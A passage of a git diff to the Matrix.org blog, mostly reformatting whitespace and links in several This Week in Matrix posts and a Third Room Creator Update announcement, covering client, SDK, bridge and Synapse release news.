into Element Web. Watch this space for more updates in the near future. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -134,9 +133,11 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * When replying to a message, a preview of the message is now shown above the composer. > * The authentication flow has been reworked in preparation for OIDC support. > * Many fixes for navigation within the app, app launch, notifications and incorrect colours. -> +> +> > ![](/blog/img/XFRQMLLaGFPDcmIphNLgqvpu.png) -> +> +> > ![](/blog/img/smwJjKVDSyUtuzguoPQqIYKY.png) ### Element X Android ([website](https://github.com/vector-im/element-x-android)) @@ -155,7 +156,7 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt > This week was a short one, since some team members were off due to national holidays on Monday and Tuesday. > Nevertheless, we: -> +> > * [Added the ability to specify a temporary directory for media fetches](https://github.com/matrix-org/matrix-rust-sdk/pull/1983) (to be merged after testing) > * [Upgraded vodozemac](https://github.com/matrix-org/matrix-rust-sdk/pull/1989) > * Improved the Sliding Sync code: [1](https://github.com/matrix-org/matrix-rust-sdk/pull/1981), [2](https://github.com/matrix-org/matrix-rust-sdk/pull/1988), [3](https://github.com/matrix-org/matrix-rust-sdk/pull/1992), [4](https://github.com/matrix-org/matrix-rust-sdk/pull/1995), [5](https://github.com/matrix-org/matrix-rust-sdk/pull/1985), [6](https://github.com/matrix-org/matrix-rust-sdk/pull/1948), [7](https://github.com/matrix-org/matrix-rust-sdk/pull/2002) @@ -169,14 +170,14 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt > We are looking for talks and workshops. From the past to the future, from the moment of the idea, the story of the creation or the vision of the future. > We’d like to understand the principles as well as the technology. -> +> > Come to Berlin in September to present your Matrix projects and products! -> +> > * Thursday, 21th September - Matrix Summit Barcamp (no schedule) > * Fri + Sat, 22th and 23th September - Matrix Summit Conference (CfP open now) -> -> https://summit2023.matrixmeetup.de/conference/ -> +> +> +> > We try to keep everything low-cost. But we need some money for food, drinks, merch, recording services, travel and accommodation. Please contact us via e-mail about sponsoring the event. The e-mail address can be found on the website above. ### Matrix User Meetup Berlin @@ -184,13 +185,13 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [saces](https://matrix.to/#/@saces:c-base.org) says > Next Matrix user meetup 7.6.2023, 8 pm @ c-base -> +> > Meet other matrix users, chat about Matrix, the rest, and everything else, discuss your Matrix ideas, sign each other in persona, and maybe spice the evening with a good mate or beer. -> +> > Also when the bbq is lit you may wish you brougth your favorite item :) -> +> > Every first Wednesday of the month in the c-base at 8pm ('til the next pandemic). -> +> > Matrix room: [#mumb:c-base.org](https://matrix.to/#/#mumb:c-base.org) ## Dept of Ping @@ -198,6 +199,7 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -214,6 +216,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|matrix.org|5415| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/06/2023-06-07-introducing-third-room-tp2-the-creator-update.md b/content/blog/2023/06/2023-06-07-introducing-third-room-tp2-the-creator-update.md index 16e8c464d..e38435447 100644 --- a/content/blog/2023/06/2023-06-07-introducing-third-room-tp2-the-creator-update.md +++ b/content/blog/2023/06/2023-06-07-introducing-third-room-tp2-the-creator-update.md @@ -19,7 +19,6 @@ The mission of Third Room is to ensure that a truly open and equitable platform Today, we’re incredibly excited to announce **Third Room Technology Preview 2: The Creator Update**. As more and more 3D hardware enters the market, the race is on to provide tools to developers and creators so they can build on an open, vendor-agnostic platform - and in this update we’ve focused on building out the **scripting**, **editing** and **authoring** capabilities of Third Room to provide a solid platform for building and running collaborative 3D apps of any kind. Check out the new release at [https://thirdroom.io](https://thirdroom.io). -
    As a reminder: the Third Room team is a tiny band formed by Robert, Nate and Ajay and operates outside of all the rest of our work on Matrix: the other 97% of our effort goes into making the core of Matrix amazing (particularly the underpinnings for Element X and the next generation of Matrix clients). However, Matrix is about more than just chat and VoIP, and Third Room provides an excellent showcase of Matrix’s abilities as a general purpose communication fabric.
    @@ -40,7 +39,6 @@ WebSG isn’t just for manipulating scene graphs though - it also provides a who As a quick taster - a WebSG app to pulse a light in your scene can be as simple as this: - ```js world.onload = () => { const directionalLight = world.findLightByName("DirectionalLight"); @@ -55,7 +53,6 @@ Third Room takes the JS and compiles it down to WASM using [QuickJS](https://bel We also support a low-level C API for WebSG, letting you compile your own native code down to WASM - in C the same script looks like this: - ```c #include #include "websg.h" @@ -74,7 +71,6 @@ export void websg_update(float_t dt, float_t time) { } ``` - But don’t worry - we’re not expecting folks to be writing C as a matter of course; the reason to provide the low-level C API is so that in future we can easily provide Rust and Zig (or more!) bindings so folks can use their favourite native language to compile optimised WASM rather than using interpreted JavaScript. That said, [procgen](https://github.com/matrix-org/thirdroom/blob/main/examples/procgen/c/src/procgen.c) is a fun C example of a procedurally generated Perlin noise blob which pulsates in response to local audio, as an idea of what you can do today if you’re willing to write some C! There’s also a [JS version](https://github.com/matrix-org/thirdroom/blob/main/examples/procgen/js) of it too. We’ve also bundled basic Matrix widget API support alongside WebSG, so WASM scripts in Third Room can send and receive Matrix events in the underlying chatroom (as well as directly sending messages between clients over WebRTC datachannels). For instance, one of the commercial WebSG apps which Element has written on top of Third Room is a real-time air traffic simulator, which consumes location-share beacons from the underlying Matrix room (bridged from ADS-B data sources) and procedurally renders them in 3D or AR over a map of the region in question: @@ -127,7 +123,7 @@ Talking of docs, we’re proud to unveil a shiny new documentation website for T * The official WebSG Tutorial - learn how to build a basketball game with WebSG! * [Part 1: Interactables](https://thirdroom.io/docs/guides/websg/basketball/part-1.html) * [Part 2: Collisions and UI](https://thirdroom.io/docs/guides/websg/basketball/part-2.html) - * [Part 3: Networking ](https://thirdroom.io/docs/guides/websg/basketball/part-3.html)(in progress) + * [Part 3: Networking](https://thirdroom.io/docs/guides/websg/basketball/part-3.html)(in progress) * [A guide to the Scene Graph itself](https://thirdroom.io/docs/guides/websg/scenegraph.html) * [A guide to manipulating meshes](https://thirdroom.io/docs/guides/websg/meshes.html) with WebSG * [A guide to materials](https://thirdroom.io/docs/guides/websg/materials.html) with WebSG @@ -184,7 +180,6 @@ This means that right now networking is still somewhat up in the air: WebSG can We’re working away on sorting this out one way or another - if it was working perfectly it wouldn’t be a Tech Preview, after all ;) - ### Introducing the Discover page In keeping with the focus on creators in this release, we’ve also added a new Discover view to Third Room, making it easier to find existing scenes and worlds. A directory of curated content is published in a repository room ([MSC3948](https://github.com/ajbura/matrix-spec-proposals/blob/respository-room/proposals/3948-repository-room.md)) - by default #repository-room:thirdroom.io, and then hitting the compass icon in the side menu will let you create your own worlds based on existing scenes, or indeed discover and jump into existing worlds: @@ -193,7 +188,6 @@ In keeping with the focus on creators in this release, we’ve also added a new Meanwhile the Creator tab makes it even easier to get up and running creating new worlds. The Discover view now becomes the default view for new users, to help them onboard when they enter the app for the first time. - ### WebXR support Finally, just one more thing… Ready for your fancy new VR/AR headset, we’re happy to announce that this update of Third Room includes WebXR support - and while it’s pretty basic (no UI overlays in XR) it actually works incredibly well, at excellent frame rates even on complex scenes. To use it, load Third Room in the browser in your headset; enable WebXR in your profile settings, and then click the WebXR button in the bottom right group of buttons to be teleported into XR mode. @@ -208,7 +202,6 @@ WebXR *should* work out of the box on any good VR/AR headset, without having to While we’ve made extraordinary progress since the last release, there’s still a bunch of things remaining which is keeping Third Room as a Technology Preview. Most important first: - * Networking * As per the Networking section above, we need to rework Authoritative Networking so we have the final networking model in place, such that WebSG scripts execute deterministically in a single place with smooth but accurate interpolation on the participating clients. We also need to iterate a bit more on the final networking API so that anyone can build multi-user apps with ease. * Persistence @@ -228,7 +221,6 @@ While we’ve made extraordinary progress since the last release, there’s stil Hopefully the next release will be both the final tech preview and the first beta of the complete Third Room experience - but to get there, we need your feedback: please head over to [#thirdroom-dev:matrix.org](https://matrix.to/#/#thirdroom-dev:matrix.org) and tell us what you think! - ### Funding Third Room If you’ve read this far, you must surely be pretty interested in Third Room, and hopefully agree that having an open platform for building spatial apps and virtual worlds is absolutely critical for the health and future of the Internet - especially as the VR/AR/3D space slowly but surely gathers momentum as new players and hardware materialise. diff --git a/content/blog/2023/06/2023-06-09-this-week-in-matrix-2023-06-09.md b/content/blog/2023/06/2023-06-09-this-week-in-matrix-2023-06-09.md index 14f0748eb..4af3a01d2 100644 --- a/content/blog/2023/06/2023-06-09-this-week-in-matrix-2023-06-09.md +++ b/content/blog/2023/06/2023-06-09-this-week-in-matrix-2023-06-09.md @@ -20,39 +20,43 @@ We didn't have time for a Matrix Live this week, but don't miss next week's epis [TravisR](https://matrix.to/#/@travis:t2l.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC4026: Allow `/versions` to optionally accept authentication](https://github.com/matrix-org/matrix-spec-proposals/pull/4026) -> +> > **MSCs in Final Comment Period:** +> > * [MSC4009: Expanding the Matrix ID grammar to enable E.164 IDs](https://github.com/matrix-org/matrix-spec-proposals/pull/4009) (merge) -> +> > **Accepted MSCs:** +> > * *No MSCs were accepted this week.* -> +> > **Closed MSCs:** +> > * *No MSCs were closed/rejected this week.* -> +> > ## Spec Updates -> -> On the Spec Core Team (SCT), we've started converting the list of MSCs we received into a roadmap for the next 8-ish weeks. This is all to prepare for Matrix 1.8, and we're already starting to think a bit about what Matrix 1.9 looks like too. You can see what the team plans to look at [here](https://github.com/orgs/matrix-org/projects/88) - each column is ordered in relative priority, where the top is more likely to receive attention first. Not everything is actionable at the moment, but that's the point 😄 As we work through the next month or so, the remaining MSCs should be unblocked or near-unblocked enough to allow the SCT to make progress on them. -> -> Most of the MSCs on the roadmap have a target state of acceptance (and merge, if we can make that happen), though some do have a simple task of reviewing the MSC ahead of implementation effort. We're aiming to test this process over the next few releases, where the SCT unblocks progress by providing review ahead of review actually being needed, but to do that we need to know what people plan to work on. If you have something which could do with review (not just acceptance) in the August-November window of time, let us know in the [SCT Office](https://matrix.to/#/#sct-office:matrix.org). -> -> As always, if you have questions about a particular MSC's state or what this process actually means, let us know in the [SCT Office](https://matrix.to/#/#sct-office:matrix.org). -> +> +> On the Spec Core Team (SCT), we've started converting the list of MSCs we received into a roadmap for the next 8-ish weeks. This is all to prepare for Matrix 1.8, and we're already starting to think a bit about what Matrix 1.9 looks like too. You can see what the team plans to look at [here](https://github.com/orgs/matrix-org/projects/88) - each column is ordered in relative priority, where the top is more likely to receive attention first. Not everything is actionable at the moment, but that's the point 😄 As we work through the next month or so, the remaining MSCs should be unblocked or near-unblocked enough to allow the SCT to make progress on them. +> +> Most of the MSCs on the roadmap have a target state of acceptance (and merge, if we can make that happen), though some do have a simple task of reviewing the MSC ahead of implementation effort. We're aiming to test this process over the next few releases, where the SCT unblocks progress by providing review ahead of review actually being needed, but to do that we need to know what people plan to work on. If you have something which could do with review (not just acceptance) in the August-November window of time, let us know in the [SCT Office](https://matrix.to/#/#sct-office:matrix.org). +> +> As always, if you have questions about a particular MSC's state or what this process actually means, let us know in the [SCT Office](https://matrix.to/#/#sct-office:matrix.org). +> > Meanwhile, the SCT is continuing its IETF/MIMI adventures by pushing Linearized Matrix towards working group adoption. The current stages involve updating the Internet-Draft (I-D, or MSC in IETF terms) to cover the MIMI-specific bits of the room model and working on multiple implementations of the proposal. We'll be updating [the MSC](https://github.com/matrix-org/matrix-spec-proposals/pull/3995) at a later stage to account for the DAG interop components, though how to get a DAG to work with the linear, append-only, MIMI variant is very much top of mind. You can see the current rapidly-changing I-D [here](https://turt2live.github.io/ietf-mimi-linearized-matrix/draft-ralston-mimi-linearized-matrix.html). -> -> As mentioned, to further adoption of Linearized Matrix within MIMI we're looking for independent implementations. "Independent" here means not written by the Matrix Core Team and not written by Element given the potential for conflict of interest, though the Matrix team is working on proving the I-D through [eigen-server](https://github.com/matrix-org/eigen-server) and possibly a dual-stack Synapse (watch this space). We have a line on ~2 completely independent (but undisclosed 😇) Linearized Matrix implementations already, but more is often better for these things: if you work for a messaging service provider and are interested in writing an implementation, [get in touch](mailto:draft-ralston-mimi-linearized-matrix@ietf.org?subject=Mail%20regarding%20draft-ralston-mimi-linearized-matrix) with us so we can coordinate some interop testing. You don't already have to be using Matrix to write an implementation, and in fact it's probably better if you aren't already using Matrix, awkwardly. -> +> +> As mentioned, to further adoption of Linearized Matrix within MIMI we're looking for independent implementations. "Independent" here means not written by the Matrix Core Team and not written by Element given the potential for conflict of interest, though the Matrix team is working on proving the I-D through [eigen-server](https://github.com/matrix-org/eigen-server) and possibly a dual-stack Synapse (watch this space). We have a line on ~2 completely independent (but undisclosed 😇) Linearized Matrix implementations already, but more is often better for these things: if you work for a messaging service provider and are interested in writing an implementation, [get in touch](mailto:draft-ralston-mimi-linearized-matrix@ietf.org?subject=Mail%20regarding%20draft-ralston-mimi-linearized-matrix) with us so we can coordinate some interop testing. You don't already have to be using Matrix to write an implementation, and in fact it's probably better if you aren't already using Matrix, awkwardly. +> > ## Random MSC of the week -> +> > The script of fate has decided to put forward [MSC3060: Room Labels](https://github.com/matrix-org/matrix-spec-proposals/pull/3060) this week. This is a relatively small MSC, but one which provides a ton of value to discovering rooms. The labels/topics your room covers are listed in a state event and can inform users of what to expect beyond the room name/avatar. For example, if your room has primarily NSFW/18+ content, you can disclose that in the labels. -> +> > Leave your thoughts and concerns on the MSC via threads on the diff 🙂 @@ -66,29 +70,31 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) reports > What would Friday be without TWIM? This week the backend team released Synapse v1.85.2. Notably this version fixed a regression where using TLS for HTTP replication between workers did not work and fixed a bug in the schema delta that broke upgrades for some deployments - both introduced in v1.85.0. -> +> > In addition, please note the security advisory that the following issues are fixed in 1.85.0 (and RCs): -> +> > * [GHSA-26c5-ppr8-f33p](https://github.com/matrix-org/synapse/security/advisories/GHSA-26c5-ppr8-f33p) / [CVE-2023-32682](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32682) — Low Severity -> +> > It may be possible for a deactivated user to login when using uncommon configurations. -> +> > * [GHSA-98px-6486-j7qc](https://github.com/matrix-org/synapse/security/advisories/GHSA-98px-6486-j7qc) / [CVE-2023-32683](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32683) — Low Severity -> +> > A discovered oEmbed or image URL can bypass the `url_preview_url_blacklist` setting potentially allowing server side request forgery or bypassing network policies. Impact is limited to IP addresses allowed by the `url_preview_ip_range_blacklist` setting (by default this only allows public IPs). -> -> +> +> > See the advisories for more details. If you have any questions, email [security@matrix.org](mailto:security@matrix.org). -> +> > There is also a deprecation to call out: +> > * Calling the `/register` endpoint with an unspecced `user` property for application services is now deprecated. -> +> > Finally a few more highlights: +> > * Add a new [admin API](https://matrix-org.github.io/synapse/v1.85/usage/administration/admin_api/index.html) to [create a new device for a user](https://matrix-org.github.io/synapse/v1.85/admin_api/user_admin_api.html#create-a-device). ([#15611](https://github.com/matrix-org/synapse/issues/15611)) > * Add Unix socket support for Redis connections. > * Fix a long-standing bug where filters with multiple backslashes were rejected. > * Remove the old version of the R30 (30-day retained users) phone-home metric -> +> > And so much more! To read about everything in the release, take a look at the release notes [here](https://github.com/matrix-org/synapse/releases) and otherwise have a great week. ## Dept of Bridges 🌉 @@ -100,15 +106,15 @@ Node.js IRC bridge for Matrix [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) reports > ### Matrix-appservice-irc 1.0.0 is finally here -> +> > Afternoon all! We've had a pretty hectic time here at matrix.org bridge towers. Ever since we announced the first preview of the new connection pooling > feature way back in ~~May~~ [April](https://github.com/matrix-org/matrix-appservice-irc/releases/tag/1.0.0-rc1), we've been busily working away > to try and make the bridge stable. The work put into the bridge is nothing short of a total refactor to our connection logic, and thankfully it's starting to bear fruit. -> +> > [1.0.0](https://github.com/matrix-org/matrix-appservice-irc/releases/tag/1.0.0) is now ready for the masses! -> +> > The major highlights of this release are: -> +> > * 🔥 IRC connections can now be run via an external process using "connection pooling", allowing the bridge to be restarted without IRC connection loss. > * This release drops support for Node 16. The minimum required version is now 18+. > * Bridge logging / bridge info state event configuration is now fully hot-reloadable. @@ -116,20 +122,20 @@ Node.js IRC bridge for Matrix > * Sort the list of channels in !listrooms output > * Fixes cases where powerlevel changes may not be correctly applied upon mode change > * Allow usernames to include more characters when using the !username command -> +> > I know a lot of you will be eager to go and enable connection pooling, but please bear in mind it is still a very new feature. Please test away > and follow our [wiki instructions](https://matrix-org.github.io/matrix-appservice-irc/latest/connection_pooling.html), but be careful when running it in production! -> +> > #### A final note to our libera.chat users -> +> > Many of these changes have been incrementally deployed to our biggest deployment, the libera.chat bridge. We know that the bridge has suffered some reliability issues > recently, but we hope that the incremental changes have started to be noticed. We're now in a position where we can react to issues with the bridge, and make changes > without making so much as a whisper of noise to the IRC network. Over the coming weeks we expect to continue to do what we can to improve reliability and performance, > and overall grow the confidence in the bridge. -> -> To that end, we've redesigned our support model for the bridge and we'd encourage you to take a look at our brand new tracker over at https://github.com/matrix-org/libera-chat. -> -> For folks bridging to _other_ networks, the old https://github.com/matrix-org/matrix-appservice-irc/ repository is still the best place to go for now. +> +> To that end, we've redesigned our support model for the bridge and we'd encourage you to take a look at our brand new tracker over at . +> +> For folks bridging to *other* networks, the old repository is still the best place to go for now. ## Dept of Clients 📱 @@ -140,7 +146,7 @@ A Matrix client by and for MTRNord [MTRNord](https://matrix.to/#/@mtrnord:midnightthoughts.space) says > Cetirizine received multiple smaller updates: -> +> > * Working timeline view, which allows for up scrolling (no backfill yet) > * Improved roomlist (The roomlist should now be lazy loaded correctly) > * Fonts are improved (Previously those were not correctly loaded) @@ -151,8 +157,9 @@ A Matrix client by and for MTRNord > * Added support for video files > * Add basic support for Mention Pills > * Editor is now less talky when sending html messages. Instead many of the classes are removed -> -> Feel free to join [#cetirizine:midnightthoughts.space](https://matrix.to/#/#cetirizine:midnightthoughts.space) (note that mtrix.org users won't be able to join this room) or try it at https://mtrnord.github.io/cetirizine. The source is available at https://github.com/MTRNord/cetirizine +> +> Feel free to join [#cetirizine:midnightthoughts.space](https://matrix.to/#/#cetirizine:midnightthoughts.space) (note that mtrix.org users won't be able to join this room) or try it at . The source is available at +> > ![](/blog/img/f8f8b647ed86a71da5f1757d0e92dc9434dc5cd9.png) ### Nheko ([website](https://nheko-reborn.github.io)) @@ -162,11 +169,11 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > Nheko now shows you custom reactions in your recent reactions (and renders them). Sateallia also made it easier to jump to search results, which makes searching for things a lot more useful! Similarly Sateallia made the last selected space or other filter sticky, which means if you had your DMs open, Nheko will open those again after a restart. Thanks to LcsTen notifications after you have been absent for a while are reduced to a single summary notification, which should make network outages or coming back to Nheko much less annoying! -> +> > But the big news is probably that the Nheko master branch is now using Qt6. This means anyone brave enough to venture into the nightlies, you will get a lot of fun new bugs. This is not for the weak of heart and I can just recommend you to stay away, if you are not ready to fight those bugs yet! It however allowed us to close about 20 issues at once, so it is not like some bugs aren't squashed. But it is a big change and big changes come with noise and regressions. However it does set us up much better for the future. -> +> > Speaking of future, we also changed the flatpak id. The old one didn't allow us to verify our domain ownership. This will mean you might need to sign in again, once the Qt6 Nheko is out and if you had been using the flatpak. However since this is a rather major change anyway, I hope you can forgive that and we might figure out a migration path until then. -> +> > Now back to those bugs. They are eating my assembly machine again!!! ### Element X iOS ([website](https://github.com/vector-im/element-x-ios)) @@ -175,6 +182,7 @@ Desktop client for Matrix using Qt and C++17. > Great news from Element X iOS this week! > We released on TestFlight the version 1.1.2 this includes some new features alongside the new app logo, such as: +> > * Starting new chats! You can now create either new rooms or new direct messages > * Invite people in existing rooms > * Accepting invites @@ -184,9 +192,9 @@ Desktop client for Matrix using Qt and C++17. > * New context menu > * Replying to a message will show its content in the composer > * Overall performance improvements and bug fixes -> +> > In the meantime we are also working on other features for the future version like: -> +> > * Read receipts with avatars similar to Element Web > * Changing push rules for rooms > * Location sharing @@ -197,6 +205,7 @@ Desktop client for Matrix using Qt and C++17. [benoit](https://matrix.to/#/@benoit.marty:matrix.org) announces > This week we’ve been working on: +> > * Updating the onboarding screens for new users > * Increasing functionality to message actions, adding the new composer, allowing editing messages, replying to messages and debugging info for events in the timeline > * We’ve also been working on increasing our test coverage and adding analytics so that we can continue to monitor the success and health of the app. @@ -209,10 +218,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * This week’s release of Element Web includes fixes related to stuck notifications - we’re hoping you see a big improvement here but be sure to keep submitting issues and rageshakes if that’s not the case. > * Also in this week’s release: -> -> - Updates to message previews in the room list – it’s now easier to see whether a message is in a thread or not -> - Accessibility improvements across the product -> - Fixes an issue preventing new users from accepting Ts&Cs, among other bugs +> +> * Updates to message previews in the room list – it’s now easier to see whether a message is in a thread or not +> * Accessibility improvements across the product +> * Fixes an issue preventing new users from accepting Ts&Cs, among other bugs > * We’re also continuing to work on updates to our Notifications Settings page - these will be ready for testing and feedback soon so keep an eye out for those to land on Develop and Nightly in the near future. > * We’ve started to look into integrating with OIDC @@ -225,16 +234,16 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [bnjbvr](https://matrix.to/#/@benjib:element.io) reports > This week was a short one for a few team members, thanks to always more public holidays, but fear not, for the Rust SDK project has made some nice progress this week nonetheless: -> +> > * [JS crypto bindings now expose more key data](https://github.com/matrix-org/matrix-rust-sdk/pull/2020), and a new alpha version of the JS crypto bindings has been published: `matrix-sdk-crypto-js v0.1.0-alpha.10`. > * The timeline got some nice improvements: -> - It's now possible to [subscribe to room updates](https://github.com/matrix-org/matrix-rust-sdk/pull/2003). -> - There's now a public API method to [retry sending events](https://github.com/matrix-org/matrix-rust-sdk/pull/2022), when sending failed before. -> - And some [additional](https://github.com/matrix-org/matrix-rust-sdk/pull/2012) [bugfixes](https://github.com/matrix-org/matrix-rust-sdk/pull/2019). +> * It's now possible to [subscribe to room updates](https://github.com/matrix-org/matrix-rust-sdk/pull/2003). +> * There's now a public API method to [retry sending events](https://github.com/matrix-org/matrix-rust-sdk/pull/2022), when sending failed before. +> * And some [additional](https://github.com/matrix-org/matrix-rust-sdk/pull/2012) [bugfixes](https://github.com/matrix-org/matrix-rust-sdk/pull/2019). > * Lots of progress in the implementation of [Sliding Sync](https://github.com/matrix-org/matrix-spec-proposals/pull/3575) too: -> - The Room List API is making huge progress, and [a first version](https://github.com/matrix-org/matrix-rust-sdk/pull/1953) has landed! This API attempts to make it easy to write clients using sliding sync by loading and subscribing to rooms in a fast, efficient and opinionated way. -> - A new high-level Notification API (*naming in progress*) [has been revealed](https://github.com/matrix-org/matrix-rust-sdk/pull/2023), in charge of creating a sliding sync instance focused on handling the bare minimum required to handle and decrypt push notifications. -> - And bugfixes, as usual: notably, the room name will now [properly be taken into account](https://github.com/matrix-org/matrix-rust-sdk/pull/2032) when using sliding sync. +> * The Room List API is making huge progress, and [a first version](https://github.com/matrix-org/matrix-rust-sdk/pull/1953) has landed! This API attempts to make it easy to write clients using sliding sync by loading and subscribing to rooms in a fast, efficient and opinionated way. +> * A new high-level Notification API (*naming in progress*) [has been revealed](https://github.com/matrix-org/matrix-rust-sdk/pull/2023), in charge of creating a sliding sync instance focused on handling the bare minimum required to handle and decrypt push notifications. +> * And bugfixes, as usual: notably, the room name will now [properly be taken into account](https://github.com/matrix-org/matrix-rust-sdk/pull/2032) when using sliding sync. > * And the recurring dose of [sweet](https://github.com/matrix-org/matrix-rust-sdk/pull/2011) [refactorings](https://github.com/matrix-org/matrix-rust-sdk/pull/2033) and CI [chores](https://github.com/matrix-org/matrix-rust-sdk/pull/2029). ### libQuotient ([website](https://github.com/quotient-im/libQuotient)) @@ -244,6 +253,7 @@ A Qt5 library to write cross-platform clients for Matrix [kitsune](https://matrix.to/#/@kitsune:matrix.org) reports > ### libQuotient 0.8 beta +> > The first usable version of the upcoming 0.8 streak is [out](https://github.com/quotient-im/libQuotient/releases/tag/0.8-beta1) - unlike infrequent, big and splashy 0.6 and 0.7 releases, this is coming rather soon after 0.7.2, and the final release is not far ahead either - and the list of changes is, respectively, rather incremental. ## Dept of Internet of Things 💡 @@ -253,11 +263,11 @@ A Qt5 library to write cross-platform clients for Matrix [Paarth Shah](https://matrix.to/#/@me:shahpaarth.com) says > Do you use Home Assistant? Have you tried using the default `matrix` integration and been frustrated due to its lack of maintenance, features, and compatibility with non-Synapse homeservers? -> +> > Well, I'm happy to announce that there's now a solution: [Matrix Nio - HACS](https://github.com/PaarthShah/matrix-nio-hacs) is a HACS custom repository (making use of `matrix-nio`, of course!) that anyone can install onto their Home Assistant instance, immediately using their existing configurations, automations, and whatever else was set up for the default integration, with no further effort. -> +> > Over time, based on popular demand (and my own whims and desires for my own setup, otherwise), I'll be adding new features on top of what's already available, including e2ee, video attachments, polls, reactions, location messages, and hopefully more! -> +> > Suggestions are always welcome! Feel free to ask/get support on the github issues page, or in Matrix Nio - HACS! ## Dept of Bots 🤖 @@ -266,8 +276,9 @@ A Qt5 library to write cross-platform clients for Matrix [Cadair](https://matrix.to/#/@cadair:cadair.com) reports -> One of the things I used the venerable goneb for was converting mentions of GitHub issues into links. Given Hookshot can't do this ([yet](https://github.com/matrix-org/matrix-hookshot/issues/747)) I thought I would write a quick little [opsdroid](https://opsdroid.dev) skill for it. You can find it here: https://github.com/Cadair/skill-github-linker -> +> One of the things I used the venerable goneb for was converting mentions of GitHub issues into links. Given Hookshot can't do this ([yet](https://github.com/matrix-org/matrix-hookshot/issues/747)) I thought I would write a quick little [opsdroid](https://opsdroid.dev) skill for it. You can find it here: +> +> > ![](/blog/img/eBBvXkocmGsWavRLyoRDgRsB.png) ## Dept of Events and Talks 🗣️ @@ -278,29 +289,29 @@ A Qt5 library to write cross-platform clients for Matrix ## Dept of Interesting Projects 🛰️ -#### Acter +### Acter [ben](https://matrix.to/#/@ben:acter.global) announces > ### Technicals: ActerAvatar, Riverpods, UI flows, matrix-sdk update -> +> > The technical team is chugging away implementing the screens for the upcoming Alpha of Acter3, like the new [navigation bar](https://github.com/acterglobal/a3/pull/609), [login flow](https://github.com/acterglobal/a3/pull/620) and its accompanying pages. As it will be an alpha, an Element-App-insipired [labs settings system](https://github.com/acterglobal/a3/pull/618) has been implemented, too, allowing users to opt-in into still experimental features while they are being developed. -> +> > But also under the hood a lot is changing: we are switching more and more things to [riverpod](https://riverpod.dev/), trying to replace GetX entirely before the alpha - most notably, the internal routing is using that already, while chat and tasks are rewritten at the moment. Secondly, we have started extracting simple UI components into reusable packages, starting with [ActerAvatar](https://github.com/acterglobal/acter-avatar/) (yet to be published) our take on showing avatars with fallback and alike. Unfortunately, our attempt to implementing a dart backend for uniffy now that async support landed, had to be put on hold and won't be in the first alpha. We are in the process of [upgrading to the latest matrix-rust-sdk to add sqlite support](https://github.com/acterglobal/a3/pull/631) in the alpha though. -> +> > ### Nightly builds, system status reporting -> -> We have also been busy on the infrastructure side of things: Our nightly builds are now available for all target platforms (Linux, Windows, MacOS, Android & iOS) and the newly created nightly reporting channel https://matrix.to/#/#nightly:acter.global has a convenient link to install the latest version on mobile devices, too. (Note: Because of Apple the iOS version is only working on pre-registered devices - get in contact if you want to use that). -> -> Further more, a second channel now contains updates by our infrastructure monitoring system. Join https://matrix.to/#/#status:acter.global to stay up to date on that. -> +> +> We have also been busy on the infrastructure side of things: Our nightly builds are now available for all target platforms (Linux, Windows, MacOS, Android & iOS) and the newly created nightly reporting channel has a convenient link to install the latest version on mobile devices, too. (Note: Because of Apple the iOS version is only working on pre-registered devices - get in contact if you want to use that). +> +> Further more, a second channel now contains updates by our infrastructure monitoring system. Join to stay up to date on that. +> > ### Tech AMA on June 15th -> +> > With the alpha release on the horizon, some people are still having question regarding what we are building and the tech (stack), how we are building it and how to best contribute. Thus, we are hosting our first -> +> > **Ask Me Anything on Thursday Jun 15th at 12UTC [via this Zoom](https://us06web.zoom.us/j/87424887444?pwd=S3RMMmJ2Ny9Wc3pNZkI0NW9nWW53Zz09)** > [iCal Event](https://effektio.org/wp-content/uploads/2023/06/20230615-acter-tech-ama-with-ben.ics) | [Google Calendar Event](https://calendar.google.com/calendar/event?action=TEMPLATE&tmeid=M2dpYXZnMXNuNDliMW5rcjlidHRwaGUxdTQgY183Mjk1ZDQ2YWQ1Y2RkZTVkOTVmNzZlNzUwZDBlNDQ2ODkyMzZlZjc2NmFjZmU4MzFlOGMzOTI4Nzc5MmI0N2NmQGc&tmsrc=c_7295d46ad5cdde5d95f76e750d0e44689236ef766acfe831e8c39287792b47cf%40group.calendar.google.com) | [LinkedIn Event](https://www.linkedin.com/events/7072186078861959168) -> +> > Use [this form to submit any questions](https://forms.gle/tN9VYkWZHyEVkwK86) you have. There will be a recording for those who can't make it in person. ## Dept of Ping @@ -308,6 +319,7 @@ A Qt5 library to write cross-platform clients for Matrix Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a 